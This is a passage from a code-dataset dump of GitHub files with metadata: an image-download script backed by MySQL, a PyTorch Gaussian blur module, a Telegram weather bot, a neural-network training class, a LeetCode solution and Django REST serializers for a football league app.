"call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 163, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 163, "usage_type": "name"}, {"api_name": "models.funcionario", "line_number": 165, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 177, "usage_type": "call"}, {"api_name": "models.funcionario.objects.get", "line_number": 183, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 183, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 183, "usage_type": "name"}, {"api_name": "models.funcionario.objects.all", "line_number": 188, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 188, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 188, "usage_type": "name"}, {"api_name": "models.funcionario.objects.filter", "line_number": 193, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 193, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 193, "usage_type": "name"}, {"api_name": "models.funcionario.objects.filter", "line_number": 199, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 199, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 199, "usage_type": "name"}, {"api_name": "models.funcionario.objects.filter", "line_number": 208, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 208, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 208, "usage_type": "name"}, {"api_name": "models.funcionario.objects.filter", "line_number": 213, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 213, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 213, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 237, "usage_type": "call"}, {"api_name": "models.funcionario.objects.get", "line_number": 246, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 246, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 246, "usage_type": "name"}, {"api_name": "models.fornecedor", "line_number": 251, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 259, "usage_type": "call"}, {"api_name": "models.funcionario.objects.get", "line_number": 266, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 266, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 266, "usage_type": "name"}, {"api_name": "models.fornecedor.objects.filter", "line_number": 271, "usage_type": "call"}, {"api_name": "models.fornecedor.objects", "line_number": 271, "usage_type": "attribute"}, {"api_name": "models.fornecedor", "line_number": 271, "usage_type": "name"}, {"api_name": "models.fornecedor.objects.filter", "line_number": 276, "usage_type": "call"}, {"api_name": "models.fornecedor.objects", "line_number": 276, "usage_type": "attribute"}, {"api_name": "models.fornecedor", "line_number": 276, "usage_type": "name"}, {"api_name": "models.fornecedor.objects.filter", "line_number": 280, "usage_type": "call"}, {"api_name": "models.fornecedor.objects", "line_number": 280, "usage_type": "attribute"}, {"api_name": "models.fornecedor", "line_number": 280, "usage_type": "name"}, {"api_name": "models.fornecedor.objects.filter", "line_number": 286, "usage_type": "call"}, {"api_name": "models.fornecedor.objects", "line_number": 286, "usage_type": "attribute"}, {"api_name": "models.fornecedor", "line_number": 286, "usage_type": "name"}, {"api_name": "models.fornecedor.objects.filter", "line_number": 290, "usage_type": "call"}, {"api_name": "models.fornecedor.objects", "line_number": 290, "usage_type": "attribute"}, {"api_name": "models.fornecedor", "line_number": 290, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 298, "usage_type": "call"}, {"api_name": "models.funcionario.objects.get", "line_number": 306, "usage_type": "call"}, {"api_name": "models.funcionario.objects", "line_number": 306, "usage_type": "attribute"}, {"api_name": "models.funcionario", "line_number": 306, "usage_type": "name"}, {"api_name": "models.cliente.objects.get", "line_number": 307, "usage_type": "call"}, {"api_name": "models.cliente.objects", "line_number": 307, "usage_type": "attribute"}, {"api_name": "models.cliente", "line_number": 307, "usage_type": "name"}, {"api_name": "financeiro.models.ordem_de_venda.objects.filter", "line_number": 308, "usage_type": "call"}, {"api_name": "financeiro.models.ordem_de_venda.objects", "line_number": 308, "usage_type": "attribute"}, {"api_name": "financeiro.models.ordem_de_venda", "line_number": 308, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 309, "usage_type": "call"}, {"api_name": "controle_estoque.models.lote_medicamento.objects.get", "line_number": 313, "usage_type": "call"}, {"api_name": "controle_estoque.models.lote_medicamento.objects", "line_number": 313, "usage_type": "attribute"}, {"api_name": "controle_estoque.models.lote_medicamento", "line_number": 313, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 320, "usage_type": "call"}, {"api_name": "models.cliente.objects.filter", "line_number": 324, "usage_type": "call"}, {"api_name": "models.cliente.objects", "line_number": 324, "usage_type": "attribute"}, {"api_name": "models.cliente", "line_number": 324, "usage_type": "name"}, {"api_name": "financeiro.models.ordem_de_venda.objects.filter", "line_number": 329, "usage_type": "call"}, {"api_name": "financeiro.models.ordem_de_venda.objects", "line_number": 329, "usage_type": "attribute"}, {"api_name": "financeiro.models.ordem_de_venda", "line_number": 329, "usage_type": "name"}, {"api_name": "django.db.models.Sum", "line_number": 332, "usage_type": "call"}, {"api_name": "django.db.models.fields.FloatField", "line_number": 332, "usage_type": "call"}, {"api_name": "django.db.models.Count", "line_number": 333, "usage_type": "call"}, {"api_name": "django.db.models.fields.FloatField", "line_number": 333, "usage_type": "call"}, {"api_name": "django.db.models.ExpressionWrapper", "line_number": 334, "usage_type": "call"}, {"api_name": "django.db.models.F", "line_number": 334, "usage_type": "call"}, {"api_name": "django.db.models.fields.FloatField", "line_number": 334, "usage_type": "call"}, {"api_name": "django.db.models.Sum", "line_number": 335, "usage_type": "call"}, {"api_name": "django.db.models.functions.ExtractDay", "line_number": 335, "usage_type": "call"}, {"api_name": "django.db.models.F", "line_number": 335, "usage_type": "call"}, {"api_name": "django.db.models.fields.FloatField", "line_number": 335, "usage_type": "call"}, {"api_name": "django.db.models.Sum", "line_number": 336, "usage_type": "call"}, {"api_name": "django.db.models.ExpressionWrapper", "line_number": 337, "usage_type": "call"}, {"api_name": "django.db.models.F", "line_number": 337, "usage_type": "call"}, {"api_name": "django.db.models.fields.FloatField", "line_number": 337, "usage_type": "call"}, {"api_name": "django.db.models.ExpressionWrapper", "line_number": 338, "usage_type": "call"}, {"api_name": "django.db.models.F", "line_number": 338, "usage_type": "call"}, {"api_name": "django.db.models.fields.FloatField", "line_number": 338, "usage_type": "call"}, {"api_name": "django.db.models.ExpressionWrapper", "line_number": 339, "usage_type": "call"}, {"api_name": "django.db.models.F", "line_number": 339, "usage_type": "call"}, {"api_name": "django.db.models.fields.FloatField", "line_number": 339, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 343, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 343, "usage_type": "name"}, {"api_name": "django.http.response.HttpResponse", "line_number": 345, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 346, "usage_type": "call"}, {"api_name": "xlwt.Workbook", "line_number": 348, "usage_type": "call"}, {"api_name": "xlwt.XFStyle", "line_number": 354, "usage_type": "call"}, {"api_name": "xlwt.Font", "line_number": 355, "usage_type": "call"}, {"api_name": "xlwt.easyxf", "line_number": 359, "usage_type": "call"}]} {"seq_id": "40538463512", "text": "import pymysql\nimport urllib.request\nimport os\nimport socket\n\n# set download timeout\nsocket.setdefaulttimeout(30)\n\n# DB connect\nconn = pymysql.connect(host='localhost', user='root', password='1234',\n db='project', charset='utf8')\n\ndef load_image():\n '''\n crawling 된 데이터 load\n :return: crawling data\n '''\n curs = conn.cursor()\n # 최근 crawling된 data부터 load\n sql = 'SELECT distinct image, number, kind from protect_animals_url1 ORDER BY NO desc'\n curs.execute(sql)\n images = curs.fetchall()\n return images\ndef download_image(images):\n '''\n crawling된 data download\n :param images: crawling data(image url, number, kind)\n :return: None\n '''\n\n path = '../../_db/data/Crawling_data/'\n\n for url, number, class_name in images:\n dog_cat, *class_name = class_name.split()\n\n tmp_path = path + dog_cat\n # file 유무 확인 후 없을 경우 생성\n if not os.path.isdir(tmp_path):\n os.mkdir(tmp_path)\n\n class_name = '_'.join(class_name) if len(class_name) else 'none'\n\n tmp_path = tmp_path + '/' + class_name\n if not os.path.isdir(tmp_path):\n os.mkdir(tmp_path)\n\n try:\n # download image\n print(class_name + '_' + number)\n # file 존재할 경우 break\n if os.path.isfile(tmp_path + '/' + class_name + '_' + number + \".jpg\"): break\n else: urllib.request.urlretrieve(url, tmp_path + '/' + class_name + '_' + number + \".jpg\")\n\n except:\n # 해당 file remove\n if os.path.isfile(tmp_path + '/' + class_name + '_' + number + \".jpg\"):\n os.remove(tmp_path + '/' + class_name + '_' + number + \".jpg\")\n print('download error : ' + number)\n\n # break\n\nif __name__ == '__main__':\n # load image url, name\n images = load_image()\n\n # download image\n download_image(images)\n", "repo_name": "Bigjob-team-12/Project", "sub_path": "_src/data_processing/image_data_download.py", "file_name": "image_data_download.py", "file_ext": "py", "file_size_in_byte": 1944, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "socket.setdefaulttimeout", "line_number": 7, "usage_type": "call"}, {"api_name": "pymysql.connect", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path", "line_number": 51, "usage_type": "attribute"}, {"api_name": "urllib.request.request.urlretrieve", "line_number": 52, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 52, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 52, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 57, "usage_type": "call"}]} {"seq_id": "12857174464", "text": "from typing import Tuple\n\nimport torch\nimport torch.nn as nn\n\nfrom .filter import filter2d, filter2d_separable\nfrom .kernels import get_gaussian_kernel1d, get_gaussian_kernel2d\n\n\ndef gaussian_blur2d(\n input: torch.Tensor,\n kernel_size: Tuple[int, int],\n sigma: Tuple[float, float],\n border_type: str = 'reflect',\n separable: bool = True,\n) -> torch.Tensor:\n r\"\"\"Create an operator that blurs a tensor using a Gaussian filter.\n\n .. image:: _static/img/gaussian_blur2d.png\n\n The operator smooths the given tensor with a gaussian kernel by convolving\n it to each channel. It supports batched operation.\n\n Arguments:\n input: the input tensor with shape :math:`(B,C,H,W)`.\n kernel_size: the size of the kernel.\n sigma: the standard deviation of the kernel.\n border_type: the padding mode to be applied before convolving.\n The expected modes are: ``'constant'``, ``'reflect'``,\n ``'replicate'`` or ``'circular'``. Default: ``'reflect'``.\n separable: run as composition of two 1d-convolutions.\n\n Returns:\n the blurred tensor with shape :math:`(B, C, H, W)`.\n\n .. note::\n See a working example `here `__.\n\n Examples:\n >>> input = torch.rand(2, 4, 5, 5)\n >>> output = gaussian_blur2d(input, (3, 3), (1.5, 1.5))\n >>> output.shape\n torch.Size([2, 4, 5, 5])\n \"\"\"\n if separable:\n kernel_x: torch.Tensor = get_gaussian_kernel1d(kernel_size[1], sigma[1])\n kernel_y: torch.Tensor = get_gaussian_kernel1d(kernel_size[0], sigma[0])\n out = filter2d_separable(input, kernel_x[None], kernel_y[None], border_type)\n else:\n kernel: torch.Tensor = get_gaussian_kernel2d(kernel_size, sigma)\n out = filter2d(input, kernel[None], border_type)\n return out\n\n\nclass GaussianBlur2d(nn.Module):\n r\"\"\"Create an operator that blurs a tensor using a Gaussian filter.\n\n The operator smooths the given tensor with a gaussian kernel by convolving\n it to each channel. It supports batched operation.\n\n Arguments:\n kernel_size: the size of the kernel.\n sigma: the standard deviation of the kernel.\n border_type: the padding mode to be applied before convolving.\n The expected modes are: ``'constant'``, ``'reflect'``,\n ``'replicate'`` or ``'circular'``. Default: ``'reflect'``.\n separable: run as composition of two 1d-convolutions.\n\n Returns:\n the blurred tensor.\n\n Shape:\n - Input: :math:`(B, C, H, W)`\n - Output: :math:`(B, C, H, W)`\n\n Examples::\n\n >>> input = torch.rand(2, 4, 5, 5)\n >>> gauss = GaussianBlur2d((3, 3), (1.5, 1.5))\n >>> output = gauss(input) # 2x4x5x5\n >>> output.shape\n torch.Size([2, 4, 5, 5])\n \"\"\"\n\n def __init__(\n self,\n kernel_size: Tuple[int, int],\n sigma: Tuple[float, float],\n border_type: str = 'reflect',\n separable: bool = True,\n ) -> None:\n super().__init__()\n self.kernel_size: Tuple[int, int] = kernel_size\n self.sigma: Tuple[float, float] = sigma\n self.border_type = border_type\n self.separable = separable\n\n def __repr__(self) -> str:\n return (\n self.__class__.__name__\n + '(kernel_size='\n + str(self.kernel_size)\n + ', '\n + 'sigma='\n + str(self.sigma)\n + ', '\n + 'border_type='\n + self.border_type\n + 'separable='\n + str(self.separable)\n + ')'\n )\n\n def forward(self, input: torch.Tensor) -> torch.Tensor:\n return gaussian_blur2d(input, self.kernel_size, self.sigma, self.border_type, self.separable)", "repo_name": "sczhou/ProPainter", "sub_path": "model/canny/gaussian.py", "file_name": "gaussian.py", "file_ext": "py", "file_size_in_byte": 3815, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3877, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.Tensor", "line_number": 11, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 12, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 13, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 47, "usage_type": "attribute"}, {"api_name": "kernels.get_gaussian_kernel1d", "line_number": 47, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 48, "usage_type": "attribute"}, {"api_name": "kernels.get_gaussian_kernel1d", "line_number": 48, "usage_type": "call"}, {"api_name": "filter.filter2d_separable", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 51, "usage_type": "attribute"}, {"api_name": "kernels.get_gaussian_kernel2d", "line_number": 51, "usage_type": "call"}, {"api_name": "filter.filter2d", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 56, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 88, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 89, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 94, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 95, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 115, "usage_type": "attribute"}]} {"seq_id": "35354437884", "text": "import logging\n\nfrom aiogram.filters import Text\nfrom aiogram.types import Message, FSInputFile\nfrom aiogram import Router\n\nfrom config_data.config import load_config, Config\nfrom lexicon.lexicon_ru import LEXICON_RU\nfrom services import weather\nfrom services.answer_to_admin import answer_to_admin\nfrom services.weather import city_weather\n\nrouter: Router = Router()\nconfig: Config = load_config()\n\n\n# Этот хэндлер срабатывает на текст weather\n@router.message(Text(text=[LEXICON_RU['weather'], '/weather', 'weather']))\nasync def process_weather_text(message: Message):\n logging.info(f'сообщение: \"{message.text}\", user id: {message.from_user.id}, '\n f'fullname: {message.from_user.full_name}')\n await answer_to_admin(message)\n await message.answer(text='Введите сначала слово город затем название города например \"город Москва\"')\n\n# Этот хэндлер срабатывает на ввод города для получения погоды\n@router.message(Text(startswith='город', ignore_case=True))\nasync def process_weather_city(message: Message):\n logging.info(f'сообщение: \"{message.text}\", user id: {message.from_user.id}, '\n f'fullname: {message.from_user.full_name}')\n await answer_to_admin(message)\n await message.answer(text=city_weather(' '.join(message.text.split()[1:]), config.tg_bot.weather_api))\n try:\n temp = weather.data['main']['temp']\n logging.info(f'температура в городе {\" \".join(message.text.split()[1:]).title()}: {temp}')\n if temp < -10:\n image = r'media/frozen.jpg'\n elif -10 <= temp <= 20:\n image = r'media/prohladno.jpg'\n else:\n image = r'media/well_weather.jpg'\n photo = FSInputFile(image)\n await message.answer_photo(photo)\n except Exception:\n await message.answer(text='Для следующего выбора города отправьте сообщение с названием города')\n", "repo_name": "VKucherenkov/Telegram_Bot", "sub_path": "handlers/weather_handlers.py", "file_name": "weather_handlers.py", "file_ext": "py", "file_size_in_byte": 2113, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "aiogram.Router", "line_number": 13, "usage_type": "name"}, {"api_name": "config_data.config.Config", "line_number": 14, "usage_type": "name"}, {"api_name": "config_data.config.load_config", "line_number": 14, "usage_type": "call"}, {"api_name": "aiogram.types.Message", "line_number": 19, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 20, "usage_type": "call"}, {"api_name": "services.answer_to_admin.answer_to_admin", "line_number": 22, "usage_type": "call"}, {"api_name": "aiogram.filters.Text", "line_number": 18, "usage_type": "call"}, {"api_name": "lexicon.lexicon_ru.LEXICON_RU", "line_number": 18, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 27, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 28, "usage_type": "call"}, {"api_name": "services.answer_to_admin.answer_to_admin", "line_number": 30, "usage_type": "call"}, {"api_name": "services.weather.city_weather", "line_number": 31, "usage_type": "call"}, {"api_name": "services.weather.data", "line_number": 33, "usage_type": "attribute"}, {"api_name": "services.weather", "line_number": 33, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 34, "usage_type": "call"}, {"api_name": "aiogram.types.FSInputFile", "line_number": 41, "usage_type": "call"}, {"api_name": "aiogram.filters.Text", "line_number": 26, "usage_type": "call"}]} {"seq_id": "27790047726", "text": "import numpy as np\nfrom torch import nn\nfrom utils import *\nimport torch\nimport copy\nfrom sparselinear import SparseLinear\nfrom sc_linear import *\n\n\nclass DNN(nn.Module):\n\n def __init__(self, conn_type, mask, in_dim, lyr_1, lyr_2, lyr_3=2):\n super(DNN, self).__init__()\n self.hidden_lyr_num = 2 if lyr_3 == 2 else 3\n if conn_type == 'sc':\n self.lyr_1 = CustomizedLinear(in_dim, lyr_1, mask=mask[0])\n self.lyr_2 = CustomizedLinear(lyr_1, lyr_2, mask=mask[1])\n self.lyr_3 = CustomizedLinear(lyr_2, lyr_3, mask=mask[2])\n if self.hidden_lyr_num == 3:\n self.lyr_4 = CustomizedLinear(lyr_3, 2, mask=mask[3])\n else:\n self.lyr_1 = nn.Linear(in_dim, lyr_1)\n self.lyr_2 = nn.Linear(lyr_1, lyr_2)\n self.lyr_3 = nn.Linear(lyr_2, lyr_3)\n if self.hidden_lyr_num == 3:\n self.lyr_4 = nn.Linear(lyr_3, 2)\n\n def forward(self, x):\n x = self.lyr_1(x)\n x = x.tanh()\n x = self.lyr_2(x)\n x = x.tanh()\n x = self.lyr_3(x)\n if self.hidden_lyr_num == 3:\n x = x.tanh()\n x = self.lyr_4(x)\n return x\n\n def train_mlp(self, cv_fold, max_epoch, train_feature, train_label, valid_feature, valid_label,\n test_feature, test_label, valid_start, valid_end, train_end, LR, alpha, save_path, learning_curve=0,\n save_dnn=0):\n\n optimizer = torch.optim.RMSprop(self.parameters(), lr=LR, alpha=alpha)\n loss_func = torch.nn.CrossEntropyLoss()\n\n max_valid_acc = 0\n max_valid_sen = 0\n max_valid_spe = 0\n max_test_acc = 0\n max_test_sen = 0\n max_test_spe = 0\n\n flag = 0\n valid_cnt_flag = 0\n epoch_list = np.arange(0, max_epoch)\n train_acc_list = np.zeros(max_epoch)\n valid_acc_list = np.zeros(max_epoch)\n test_acc_list = np.zeros(max_epoch)\n save_point_list = np.zeros((1, 2))\n final_classifier = 'none'\n\n for epoch in range(max_epoch):\n self.train()\n train_nn_out = self.forward(train_feature)\n train_loss = loss_func(train_nn_out, train_label)\n optimizer.zero_grad()\n train_loss.backward()\n optimizer.step()\n\n train_acc, train_sen, train_spe, train_ppv, train_npv = softmax_cal_acc(train_nn_out, train_label)[0:5]\n if flag == 0:\n valid_end_threshold = 1\n else:\n valid_end_threshold = valid_end\n\n if learning_curve == 1:\n self.eval()\n valid_nn_output = self.forward(valid_feature)\n test_nn_output = self.forward(test_feature)\n\n valid_acc, valid_sen, valid_spe, valid_ppv, valid_npv = \\\n softmax_cal_acc(valid_nn_output, valid_label)[0:5]\n\n test_acc, test_sen, test_spe, test_ppv, test_npv, test_predict_label, test_confidence = \\\n softmax_cal_acc(test_nn_output, test_label, prediction_output=1)\n\n train_acc_list[epoch] = train_acc\n valid_acc_list[epoch] = valid_acc\n test_acc_list[epoch] = test_acc\n\n if train_acc >= valid_start and train_acc <= valid_end_threshold:\n flag = 1\n valid_cnt_flag += 1\n\n if learning_curve == 0:\n self.eval()\n valid_nn_output = self.forward(valid_feature)\n test_nn_output = self.forward(test_feature)\n\n valid_acc, valid_sen, valid_spe, valid_ppv, valid_npv = \\\n softmax_cal_acc(valid_nn_output, valid_label)[0:5]\n\n test_acc, test_sen, test_spe, test_ppv, test_npv, test_predict_label, test_confidence = \\\n softmax_cal_acc(test_nn_output, test_label, prediction_output=1)\n\n if valid_acc >= max_valid_acc:\n valid_loss = loss_func(valid_nn_output, valid_label)\n\n max_valid_acc = valid_acc\n max_valid_sen = valid_sen\n max_valid_spe = valid_spe\n max_test_acc = test_acc\n max_test_sen = test_sen\n max_test_spe = test_spe\n save_point_list = np.concatenate((save_point_list, np.array([[epoch, test_acc]])), axis=0)\n if save_dnn != 0:\n final_classifier = copy.deepcopy(self)\n\n if learning_curve == 1:\n if epoch % 50 == 0 or epoch == max_epoch - 1:\n show_curve(save_path, epoch_list, train_acc_list, valid_acc_list, test_acc_list,\n save_point_list)\n\n if train_acc > train_end:\n break\n\n if valid_cnt_flag >= 200:\n break\n if save_dnn != 0:\n print(final_classifier)\n torch.save(final_classifier, f'./scdnn_model_fold_{cv_fold}.pkl')\n\n return max_valid_acc, max_valid_sen, max_valid_spe, max_test_acc, max_test_sen, max_test_spe, train_loss, valid_loss\n", "repo_name": "zfyyfz12/ECS", "sub_path": "model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 5166, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.Module", "line_number": 10, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.optim.RMSprop", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 115, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 131, "usage_type": "call"}]} {"seq_id": "72685135904", "text": "from typing import List\nfrom itertools import combinations\n\n\nclass Solution:\n def splitString(self, s: str) -> bool:\n for num in range(1, len(s)):\n # print(list(combinations(range(1, len(s)), num)))\n for way in combinations(range(1, len(s)), num):\n num_set = []\n s_temp = s\n prev = 0\n for cut in list(way) + [len(s)]:\n # if not s_temp[:cut - prev]:\n # # BUG\n # continue\n\n num_set.append(s_temp[:cut - prev])\n s_temp = s_temp[cut - prev:]\n prev = cut\n\n # if len(num_set) != num + 1:\n # # BUG\n # continue\n\n if self.isValid(num_set):\n return True\n return False\n\n def removeLeadingZero(self, num_str: str) -> int:\n for i, c in enumerate(num_str):\n if c != '0':\n break\n\n num_str = num_str[i:]\n if not num_str:\n return 0\n\n return eval(num_str)\n\n def isValid(self, raw_num_set: List[str]) -> bool:\n num_set = list(map(self.removeLeadingZero, raw_num_set))\n # print(raw_num_set, num_set)\n prev = None\n for num in num_set:\n if prev is None:\n prev = num\n elif prev != num + 1:\n return False\n prev = num\n return True\n\n\nif __name__ == '__main__':\n print(Solution().splitString('0090089'))\n print(Solution().splitString('050043'))\n print(Solution().splitString('10009998')) # [3, 6, 8]\n\n# TLE:\n# \"13121110987654321\"\n", "repo_name": "daviddwlee84/LeetCode", "sub_path": "Contest/LeetCodeWeeklyContest/WeeklyContest239/2_fail.py", "file_name": "2_fail.py", "file_ext": "py", "file_size_in_byte": 1690, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "7", "api": [{"api_name": "itertools.combinations", "line_number": 9, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 41, "usage_type": "name"}]} {"seq_id": "9671929197", "text": "from rest_framework import serializers\r\nfrom api.sportsapi import LeagueApi, MatchdayApi\r\nfrom api.models import Team, League, Match, Matchday, MyLeague, Prediction\r\nfrom django.utils.crypto import get_random_string\r\nfrom django.contrib.auth.models import User\r\n\r\n\r\nclass TeamSerializer(serializers.ModelSerializer):\r\n class Meta:\r\n model = Team\r\n fields = [\r\n \"teamId\",\r\n \"name\",\r\n \"league\",\r\n \"form\",\r\n \"playedGames\",\r\n \"position\",\r\n \"won\",\r\n \"draw\",\r\n \"lost\",\r\n \"points\",\r\n \"goalsScored\",\r\n \"goalsAgainst\",\r\n \"goalDifference\",\r\n ]\r\n\r\n read_only_fields = (\r\n \"teamId\",\r\n \"name\",\r\n \"league\",\r\n \"form\",\r\n \"playedGames\",\r\n \"position\",\r\n \"won\",\r\n \"draw\",\r\n \"lost\",\r\n \"points\",\r\n \"goalsScored\",\r\n \"goalsAgainst\",\r\n \"goalDifference\",\r\n )\r\n\r\n\r\nclass LeagueSerializer(serializers.ModelSerializer):\r\n teams = TeamSerializer(many=True, read_only=True)\r\n\r\n class Meta:\r\n model = League\r\n fields = [\"leagueCode\", \"name\", \"teams\", \"logo\"]\r\n\r\n extra_kwargs = {\r\n \"name\": {\"read_only\": True},\r\n \"logo\": {\"read_only\": True},\r\n }\r\n\r\n def create(self, validated_data):\r\n if not self.is_valid():\r\n return None\r\n teams = LeagueApi(self.validated_data[\"leagueCode\"])\r\n resp = teams.make_request()\r\n leagueName = teams.leagueName\r\n league = League(\r\n leagueCode=self.validated_data[\"leagueCode\"], name=leagueName\r\n )\r\n league.save()\r\n teams = teams.get_teams(resp)\r\n for team in teams:\r\n new_team = Team(\r\n teamId=team[\"teamId\"],\r\n name=team[\"name\"],\r\n logo=team[\"logo\"],\r\n league=league,\r\n position=team[\"position\"],\r\n form=team[\"form\"],\r\n playedGames=team[\"playedGames\"],\r\n won=team[\"won\"],\r\n draw=team[\"draw\"],\r\n lost=team[\"lost\"],\r\n points=team[\"points\"],\r\n goalsScored=team[\"goalsScored\"],\r\n goalsAgainst=team[\"goalsAgainst\"],\r\n goalDifference=team[\"goalDifference\"],\r\n )\r\n new_team.save()\r\n return league\r\n\r\n\r\nclass MatchSerializer(serializers.ModelSerializer):\r\n homeTeamName = serializers.StringRelatedField(\r\n source=\"homeTeam\", read_only=True\r\n )\r\n awayTeamName = serializers.StringRelatedField(\r\n source=\"awayTeam\", read_only=True\r\n )\r\n leagueName = serializers.StringRelatedField(\r\n source=\"league\", read_only=True\r\n )\r\n matchdayNumber = serializers.StringRelatedField(\r\n source=\"matchday\", read_only=True\r\n )\r\n\r\n class Meta:\r\n model = Match\r\n fields = (\r\n \"matchId\",\r\n \"leagueName\",\r\n \"matchdayNumber\",\r\n \"homeTeamName\",\r\n \"awayTeamName\",\r\n \"date\",\r\n \"time\",\r\n \"result\",\r\n \"status\",\r\n \"homeTeamScore\",\r\n \"awayTeamScore\",\r\n )\r\n read_only_fields = (\r\n \"matchId\",\r\n \"date\",\r\n \"time\",\r\n \"result\",\r\n \"status\",\r\n \"homeTeamScore\",\r\n \"awayTeamScore\",\r\n )\r\n\r\n\r\nclass MatchdaySerializer(serializers.ModelSerializer):\r\n matches = MatchSerializer(many=True, read_only=True)\r\n\r\n class Meta:\r\n model = Matchday\r\n fields = [\"leagueCode\", \"number\", \"matches\"]\r\n\r\n def to_representation(self, instance):\r\n rep = super().to_representation(instance)\r\n rep[\"leagueCode\"] = LeagueSerializer(instance.leagueCode).data[\r\n \"leagueCode\"\r\n ]\r\n return rep\r\n\r\n def create(self, validated_data):\r\n if not self.is_valid():\r\n return None\r\n matches = MatchdayApi(\r\n self.validated_data[\"leagueCode\"].leagueCode,\r\n self.validated_data[\"number\"],\r\n )\r\n resp = matches.make_request()\r\n matches = matches.get_matches(resp)\r\n league = League.objects.get(\r\n leagueCode=self.validated_data[\"leagueCode\"].leagueCode\r\n )\r\n matchday = Matchday(\r\n leagueCode=league, 